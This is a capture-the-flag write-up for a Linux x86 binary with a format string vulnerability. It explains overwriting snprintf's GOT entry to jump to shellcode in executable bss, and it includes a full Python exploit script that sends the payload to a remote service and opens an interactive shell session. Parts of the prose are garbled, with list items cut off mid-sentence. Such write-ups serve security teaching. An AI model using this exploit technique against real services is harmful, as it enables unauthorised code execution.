challenge2 is an Linux x86 binary with a format string vulnerability. If our format string contains no common shells, it gets placed in bss so we can just jump directly to it.
We quickly find the interesting function and notice the obvious format string vulnerability. There are a couple of things we need to observe for this exploit:
snprintffills a buffer on the stack (there is actually a buffer overflow here we didn’t use but could have), so we can use it to get arguments we want on the stack.
- The program will exit if it detects
/bin/bash, etc. in our string, so we cannot use shellcode with those as constants. Luckily, my favorite shellcode doesn’t have this problem.
- Immediately after the
snprintf, the function
countdownmakes another call to
- Our format string is initially placed in bss, which is at a known location and is executable.
But now we have everything we need for our exploit: we make a format string that overwrites the GOT address of
snprintf to point to the area in bss with payload. The format string will have the form:
shellcode + padding + addr_of_snprintf_got_hi + addr_of_snprintf_got_lo + format_string. Here is an exploit.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #!/usr/bin/python import struct import socket import telnetlib import sys import string shellcode = "" got_addr = 0x804b044 # snprintf got. target_val = 0x804b120 # Location of our payload in bss. padding = "A"*(4 - (len(shellcode) % 4)) first_part = shellcode + padding + struct.pack('I', got_addr) + struct.pack('I', got_addr + 2) first_size = (target_val >> 16) - len(first_part) second_size = (target_val & 0xFFFF) - first_size - len(first_part) first_addr = (len(first_part) / 4) + 3 second_addr = first_addr + 1 last_part = "%" + str(first_size) + "x%" + str(second_addr) + "$hn" last_part += "%" + str(second_size) + "x%" + str(first_addr) + "$hn" payload = first_part + last_part + "\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('22.214.171.124', 23456)) # s.connect(('127.0.0.1', 23456)) f = s.makefile('rw', bufsize=0) f.write(payload) t = telnetlib.Telnet() t.sock = s t.interact()